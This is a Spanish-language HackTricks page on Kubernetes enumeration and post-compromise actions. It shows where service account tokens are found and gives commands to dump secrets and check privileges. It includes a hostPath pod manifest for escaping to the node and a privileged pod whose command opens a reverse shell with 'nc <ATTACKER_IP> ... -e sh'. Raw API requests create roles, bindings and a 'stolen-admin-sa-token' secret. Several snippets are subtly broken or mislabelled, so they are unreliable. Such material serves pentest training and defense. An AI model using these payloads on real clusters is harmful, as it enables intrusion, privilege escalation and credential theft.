Files
hacktricks-cloud/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md
T

31 KiB
Raw Blame History

Kubernetes Enumeration

{{#include ../../banners/hacktricks-training.md}}

Kubernetes Tokens

Si has comprometido acceso a una máquina, el usuario puede tener acceso a alguna plataforma Kubernetes. El token suele estar ubicado en un archivo señalado por la env var KUBECONFIG o dentro de ~/.kube.

En esta carpeta puedes encontrar archivos de config con tokens y configurations para conectarse al API server. En esta carpeta también puedes encontrar una carpeta de cache con información recuperada previamente.

Si has comprometido un pod dentro de un entorno kubernetes, hay otros lugares donde puedes encontrar tokens e información sobre el K8 env actual:

Service Account Tokens

Antes de continuar, si no sabes qué es un service en Kubernetes te sugeriría seguir este link y leer al menos la información sobre la arquitectura de Kubernetes.

Tomado de la documentation de Kubernetes:

“When you create a pod, if you do not specify a service account, it is automatically assigned the default service account in the same namespace.”

ServiceAccount es un objeto gestionado por Kubernetes y usado para proporcionar una identity a los procesos que se ejecutan en un pod.
Cada service account tiene un secret relacionado y este secret contiene un bearer token. Esto es un JSON Web Token (JWT), un método para representar claims de forma segura entre dos partes.

Normalmente una de las directorios:

  • /run/secrets/kubernetes.io/serviceaccount
  • /var/run/secrets/kubernetes.io/serviceaccount
  • /secrets/kubernetes.io/serviceaccount

contiene los archivos:

  • ca.crt: Es el certificado ca para comprobar las comunicaciones de kubernetes
  • namespace: Indica el namespace actual
  • token: Contiene el service token del pod actual.

Ahora que tienes el token, puedes encontrar el API server dentro de la env var KUBECONFIG. Para más info ejecuta (env | set) | grep -i "kuber|kube"

El service account token está siendo firmado por la key que reside en el archivo sa.key y validado por sa.pub.

Ubicación por defecto en Kubernetes:

  • /etc/kubernetes/pki

Ubicación por defecto en Minikube:

  • /var/lib/localkube/certs

Hot Pods

Hot pods are pods que contienen un privileged service account token. Un privileged service account token es un token que tiene permiso para hacer tareas privilegiadas como listar secrets, crear pods, etc.

RBAC

Si no sabes qué es RBAC, lee esta sección.

GUI Applications

  • k9s: Una GUI que enumera un clúster kubernetes desde el terminal. Revisa los commands enhttps://k9scli.io/topics/commands/. Escribe :namespace y selecciona all para luego buscar resources en todos los namespaces.
  • k8slens: Ofrece algunos días de prueba gratis: https://k8slens.dev/

Enumeration CheatSheet

Para enumerar un entorno K8s necesitas un par de cosas:

  • Un valid authentication token. En la sección anterior vimos dónde buscar un token de usuario y un service account token.
  • La address (https://host:port) de la Kubernetes API. Normalmente se puede encontrar en las environment variables y/o en el archivo de kube config.
  • Optional: El ca.crt para verificar el API server. Esto se puede encontrar en los mismos lugares donde se puede encontrar el token. Esto es útil para verificar el certificado del API server, pero usando --insecure-skip-tls-verify con kubectl o -k con curl no lo necesitarás.

Con esos detalles puedes enumerate kubernetes. Si la API por alguna razón es accessible a través de Internet, puedes simplemente descargar esa info y enumerate la plataforma desde tu host.

Sin embargo, normalmente el API server está dentro de una red interna, por lo tanto necesitarás crear un tunnel a través de la máquina comprometida para acceder a él desde tu máquina, o puedes upload the kubectl binary, o usar curl/wget/anything para realizar raw HTTP requests al API server.

Differences between list and get verbs

Con permisos get puedes acceder a información de assets específicos (opción describe en kubectl) API:

GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}

Si tienes el permiso list, se te permite ejecutar solicitudes API para listar un tipo de asset (opción get en kubectl):

#In a namespace
GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments

Si tienes el permiso watch, se te permite ejecutar solicitudes API para monitorizar assets:

GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name}  [DEPRECATED]
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments  [DEPRECATED]
GET /apis/apps/v1/watch/deployments  [DEPRECATED]

Ellos abren una conexión de streaming que te devuelve el manifiesto completo de un Deployment cada vez que cambia (o cuando se crea uno nuevo).

Caution

Los siguientes comandos kubectl indican solo cómo listar los objetos. Si quieres acceder a los datos necesitas usar describe en lugar de get

Using curl

Desde dentro de un pod puedes usar varias variables de entorno:

export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.

Warning

Por defecto el pod puede acceder al kube-api server en el nombre de dominio kubernetes.default.svc y puedes ver la red kube en /etc/resolv.config ya que aquí encontrarás la dirección del servidor DNS de kubernetes (el ".1" del mismo rango es el endpoint de kube-api).

Usando kubectl

Teniendo el token y la dirección del API server, usas kubectl o curl para acceder a él como se indica aquí:

Por defecto, APISERVER se comunica con el esquema https://

alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces

si no hay https:// en la url, puedes obtener un Error como Bad Request.

Puedes encontrar una official kubectl cheatsheet here. El objetivo de las siguientes secciones es presentar de forma ordenada diferentes opciones para enumerar y entender el nuevo K8s al que has obtenido acceso.

Para encontrar la solicitud HTTP que kubectl envía, puedes usar el parámetro -v=8

MitM kubectl - Proxyfying kubectl

# Launch burp
# Set proxy
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=http://localhost:8080
# Launch kubectl
kubectl get namespace --insecure-skip-tls-verify=true

Configuración actual

{{#tabs }} {{#tab name="Kubectl" }}

kubectl config get-users
kubectl config get-contexts
kubectl config get-clusters
kubectl config current-context

# Change namespace
kubectl config set-context --current --namespace=<namespace>

{{#endtab }} {{#endtabs }}

Si lograste robar algunas credenciales de usuarios, puedes configurarlas localmente usando algo como:

kubectl config set-credentials USER_NAME \
--auth-provider=oidc \
--auth-provider-arg=idp-issuer-url=( issuer url ) \
--auth-provider-arg=client-id=( your client id ) \
--auth-provider-arg=client-secret=( your client secret ) \
--auth-provider-arg=refresh-token=( your refresh token ) \
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
--auth-provider-arg=id-token=( your id_token )

Obtener recursos compatibles

Con esta información sabrás todos los servicios que puedes listar

{{#tabs }} {{#tab name="kubectl" }}

k api-resources --namespaced=true #Resources specific to a namespace
k api-resources --namespaced=false #Resources NOT specific to a namespace

{{#endtab }} {{#endtabs }}

Metadatos del objeto que vale la pena revisar

Cuando puedas leer un objeto, exporta el YAML o JSON completo en lugar de depender solo de la salida en tabla o de describe. El contexto de seguridad más útil suele estar en campos genéricos del objeto que existen en muchos tipos de recursos:

kubectl get pod <pod> -n <ns> -o yaml
kubectl get deploy <deploy> -n <ns> -o json | jq '.metadata, .spec, .status'
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName,PHASE:.status.phase'
  • metadata.uid, name, namespace, apiVersion y kind identifican el objeto exacto y evitan confusión entre objetos con el mismo nombre en diferentes namespaces o grupos API.
  • metadata.labels y los selectors conectan Services, Deployments, ReplicaSets, Pods, NetworkPolicies y automatización. Seguir selectors suele ser la forma más rápida de identificar los Pods backend reales para un Service.
  • metadata.annotations puede filtrar contexto operativo como comportamiento de ingress, ajustes de cloud load balancer, metadatos de GitOps o Helm, excepciones de policy y configuración de service mesh. No deberían contener secrets, pero los clusters reales suelen exponer ahí pistas útiles.
  • metadata.ownerReferences muestra la genealogía del controller. Si un Pod pertenece a un ReplicaSet que pertenece a un Deployment, cambiar o borrar solo el Pod normalmente no soluciona la fuente.
  • metadata.finalizers y metadata.deletionTimestamp explican recursos atascados en eliminación y pueden revelar cleanup controllers o trucos de persistence/disruption.
  • status, Events y conditions pueden revelar ubicación de nodo, IPs de pod, image IDs, mensajes de fallo, problemas de scheduling, denegaciones de admission y progreso del controller. Son pistas útiles, pero los audit logs siguen siendo necesarios para probar quién realizó una acción.

Dynamic Resource Allocation and device evidence

Si el cluster usa GPUs, NICs, FPGAs u otro hardware especializado, comprueba si Kubernetes Dynamic Resource Allocation (DRA) está presente. DRA usa objetos resource.k8s.io como DeviceClass, ResourceSlice, ResourceClaim y ResourceClaimTemplate para describir los dispositivos disponibles y reclamarlos para Pods. Estos objetos pueden revelar qué nodos pueden acceder a hardware valioso, qué driver lo gestiona y qué workload tiene una allocation.

kubectl api-resources --api-group=resource.k8s.io
kubectl get deviceclasses.resource.k8s.io 2>/dev/null
kubectl get resourceslices.resource.k8s.io 2>/dev/null
kubectl get resourceclaims.resource.k8s.io -A 2>/dev/null
kubectl get resourceclaimtemplates.resource.k8s.io -A 2>/dev/null
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"/"}{.metadata.name}{" claims="}{.spec.resourceClaims}{" node="}{.spec.nodeName}{"\n"}{end}'
kubectl get daemonsets,pods -A -o wide | grep -Ei 'dra|device|gpu|nvidia|amd|intel|sriov|fpga'

Durante la revisión, restringe las escrituras a los objetos DeviceClass y ResourceSlice con ámbito de cluster a admins y DRA drivers, y mantiene los derechos de ResourceClaim / ResourceClaimTemplate limitados a los namespaces que los necesiten. Los permisos del driver para actualizar el status de ResourceClaim deben ser explícitos y acotados. En los nodes, la kubelet PodResources API suele exponerse a través de /var/lib/kubelet/pod-resources/kubelet.sock; los DaemonSets de monitoring pueden montar ese directorio para inspeccionar dispositivos asignados, así que revisa esos Pods como cualquier otro agente privilegiado del nodo.

ClusterTrustBundle y confianza de certificados de add-on

Los clusters recientes pueden exponer objetos ClusterTrustBundle en el grupo de API certificates.k8s.io. Son bundles de trust anchor X.509 con ámbito de cluster que los Pods pueden montar mediante projected volumes. Se espera un amplio acceso de lectura, pero el acceso de escritura es sensible porque cambiar roots de confianza puede afectar a webhooks, aggregated APIs, service meshes y applications que consumen material CA distribuido por el cluster.

kubectl api-resources --api-group=certificates.k8s.io | grep -i clustertrustbundle
kubectl get clustertrustbundles.certificates.k8s.io 2>/dev/null
kubectl get clustertrustbundle <name> -o yaml 2>/dev/null
kubectl get pods -A -o yaml | grep -n -E 'clusterTrustBundle|trustBundle|caBundle'
kubectl get apiservices -o jsonpath='{range .items[*]}{.metadata.name}{" insecure="}{.spec.insecureSkipTLSVerify}{" service="}{.spec.service.namespace}{"/"}{.spec.service.name}{"\n"}{end}'

Durante la revisión, registra signerName, huellas digitales del bundle, identidades de writer, consumers de projected-volume, y cualquier trust-distribution controller como cert-manager trust-manager. Trata los objetos APIService con insecureSkipTLSVerify: true, valores caBundle obsoletos, o permisos amplios para parchear campos de trust de APIService/webhook como findings de certificate-trust en lugar de inventario ordinario de objetos.

Obtener Privilegios Actuales

{{#tabs }} {{#tab name="kubectl" }}

k auth can-i --list #Get privileges in general
k auth can-i --list -n custnamespace #Get privileves in custnamespace

# Get service account permissions
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>

{{#endtab }}

{{#tab name="API" }}

kurl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"

{{#endtab }} {{#endtabs }}

Otra forma de comprobar tus privilegios es usar la herramienta: https://github.com/corneliusweig/rakkess****

Puedes aprender más sobre Kubernetes RBAC en:

{{#ref}} kubernetes-role-based-access-control-rbac.md {{#endref}}

Una vez que sepas qué privilegios tienes, consulta la siguiente página para averiguar si puedes abusar de ellos para escalar privilegios:

{{#ref}} abusing-roles-clusterroles-in-kubernetes/ {{#endref}}

Obtener roles de otros

{{#tabs }} {{#tab name="kubectl" }}

k get roles
k get clusterroles

{{#endtab }}

{{#tab name="API" }}

kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"

{{#endtab }} {{#endtabs }}

Obtener namespaces

Kubernetes soporta multiple virtual clusters respaldados por el mismo physical cluster. Estos virtual clusters se llaman namespaces.

{{#tabs }} {{#tab name="kubectl" }}

k get namespaces

{{#endtab }}

{{#tab name="API" }}

kurl -k -v https://$APISERVER/api/v1/namespaces/

{{#endtab }} {{#endtabs }}

Obtener secrets

{{#tabs }} {{#tab name="kubectl" }}

k get secrets -o yaml
k get secrets -o yaml -n custnamespace

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/api/v1/namespaces/default/secrets/

kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/

{{#endtab }} {{#endtabs }}

Si puedes leer secrets, puedes usar las siguientes líneas para obtener los privilegios relacionados con cada token:

for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done

Obtener Service Accounts

Como se comentó al comienzo de esta página cuando se ejecuta un pod, normalmente se le asigna un service account. Por lo tanto, listar los service accounts, sus permisos y dónde se están ejecutando puede permitir a un usuario escalar privilegios.

{{#tabs }} {{#tab name="kubectl" }}

k get serviceaccounts

{{#endtab }}

{{#tab name="API" }}

kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts

{{#endtab }} {{#endtabs }}

Obtener Deployments

Los Deployments especifican el estado deseado para cargas de trabajo de aplicaciones sin estado. Crean ReplicaSets, y esos ReplicaSets crean Pods.

{{#tabs }} {{#tab name="kubectl" }}

k get deployments
k get deployments -n custnamespace

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/deployments/

{{#endtab }} {{#endtabs }}

Obtener StatefulSets

StatefulSets gestionan Pods que necesitan nombres estables, comportamiento de despliegue ordenado y, a menudo, volúmenes persistentes por réplica.

{{#tabs }} {{#tab name="kubectl" }}

k get statefulsets
k get statefulsets -n custnamespace

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/statefulsets/

{{#endtab }} {{#endtabs }}

Obtener Pods

Los Pods son los containers reales que se ejecutan.

{{#tabs }} {{#tab name="kubectl" }}

k get pods
k get pods -n custnamespace

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/

{{#endtab }} {{#endtabs }}

Obtener Services

Kubernetes services se usan para exponer un service en un puerto e IP específicos (que actuarán como load balancer para los pods que realmente están ofreciendo el service). Esto es interesante para saber dónde puedes encontrar otros services para intentar atacar.

{{#tabs }} {{#tab name="kubectl" }}

k get services
k get services -n custnamespace

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/services/

{{#endtab }} {{#endtabs }}

Obtener nodes

Obtener todos los nodes configurados dentro del cluster.

{{#tabs }} {{#tab name="kubectl" }}

k get nodes

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/api/v1/nodes/

{{#endtab }} {{#endtabs }}

Obtener DaemonSets

DaemonSets aseguran que un Pod específico se esté ejecutando en todos los nodos seleccionados del cluster. Si eliminas el DaemonSet, los Pods gestionados por él también se eliminarán.

{{#tabs }} {{#tab name="kubectl" }}

k get daemonsets

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/daemonsets

{{#endtab }} {{#endtabs }}

Obtener Jobs

Los Jobs crean Pods que se ejecutan hasta completarse. Se usan comúnmente para migraciones, backups, tareas por lotes y tareas administrativas puntuales.

{{#tabs }} {{#tab name="kubectl" }}

k get jobs
k get jobs -n custnamespace

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/jobs

{{#endtab }} {{#endtabs }}

Obtener CronJobs

CronJobs usan una programación tipo crontab para crear Jobs que lanzan Pods para ejecución de tipo tarea.

{{#tabs }} {{#tab name="kubectl" }}

k get cronjobs
k get cronjobs -n custnamespace

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/cronjobs

{{#endtab }} {{#endtabs }}

Obtener configMap

configMap siempre contiene mucha información y configfile que se proporciona a las apps que se ejecutan en kubernetes. Normalmente puedes encontrar muchas passwords, secrets, tokens que se usan para conectarse y validarse en otros servicios internos/externos.

{{#tabs }} {{#tab name="kubectl" }}

k get configmaps # -n namespace

{{#endtab }}

{{#tab name="API" }}

kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps

{{#endtab }} {{#endtabs }}

Obtener Network Policies / Cilium Network Policies

{{#tabs }} {{#tab name="First Tab" }}

k get networkpolicies
k get CiliumNetworkPolicies
k get CiliumClusterwideNetworkPolicies

{{#endtab }} {{#endtabs }}

Obtener todo / Todo

{{#tabs }} {{#tab name="kubectl" }}

k get all

{{#endtab }} {{#endtabs }}

Obtener todos los recursos gestionados por helm

{{#tabs }} {{#tab name="kubectl" }}

k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'

{{#endtab }} {{#endtabs }}

Obtener consumos de Pods

{{#tabs }} {{#tab name="kubectl" }}

k top pod --all-namespaces

{{#endtab }} {{#endtabs }}

Interacting with the cluster without using kubectl

Viendo que el control plane de Kubernetes expone una API RESTful, puedes crear manualmente solicitudes HTTP y enviarlas con otras herramientas, como curl o wget.

Escaping from the pod

Si puedes crear nuevos pods, podrías ser capaz de escapar de ellos hacia el node. Para hacerlo, necesitas crear un nuevo pod usando un archivo yaml, cambiarte al pod creado y luego hacer chroot al sistema del node. Puedes usar pods ya existentes como referencia para el archivo yaml, ya que muestran imágenes y paths existentes.

kubectl get pod <name> [-n <namespace>] -o yaml

si necesitas crear un pod en el nodo específico, puedes usar el siguiente comando para obtener las labels en el nodo

k get nodes --show-labels

Comúnmente, kubernetes.io/hostname y node-role.kubernetes.io/master son buenas labels para select.

Luego creas tu archivo attack.yaml

apiVersion: v1
kind: Pod
metadata:
labels:
run: attacker-pod
name: attacker-pod
namespace: default
spec:
volumes:
- name: host-fs
hostPath:
path: /
containers:
- image: ubuntu
imagePullPolicy: Always
name: attacker-pod
command: ["/bin/sh", "-c", "sleep infinity"]
volumeMounts:
- name: host-fs
mountPath: /root
restartPolicy: Never
# nodeName and nodeSelector enable one of them when you need to create pod on the specific node
#nodeName: master
#nodeSelector:
#  kubernetes.io/hostname: master
# or using
#  node-role.kubernetes.io/master: ""

original yaml source

Después de eso creas el pod

kubectl apply -f attacker.yaml [-n <namespace>]

Ahora puedes cambiarte al pod creado de la siguiente manera

kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file

Y finalmente haces chroot en el sistema del nodo

chroot /root /bin/bash

Información obtenida de: Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1 Attacking and Defending Kubernetes: Bust-A-Kube Episode 1

Creating a privileged pod

El archivo yaml correspondiente es el siguiente:

apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: alpine
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
volumes:
- name: noderoot
hostPath:
path: /

Crea el pod con curl:

CONTROL_PLANE_HOST=""
TOKEN=""

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 478' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Delete a pod

Borra un pod con curl:

CONTROL_PLANE_HOST=""
TOKEN=""
POD_NAME="everything-allowed-exec-pod"

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"

Crear una Service Account

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"


curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Length: 109' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Eliminar un Service Account

CONTROL_PLANE_HOST=""
TOKEN=""
SA_NAME=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"

Crear un Role

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"


curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 203' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Eliminar un Role

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_NAME=""

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"

Crear un Role Binding

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 816' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Eliminar un Role Binding

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_BINDING_NAME=""

curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"

Eliminar un Secret

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"

curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 219' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"

Eliminar un Secret

CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
SECRET_NAME=""

ccurl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"

Referencias

{{#ref}} https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3 {{#endref}}

{{#include ../../banners/hacktricks-training.md}}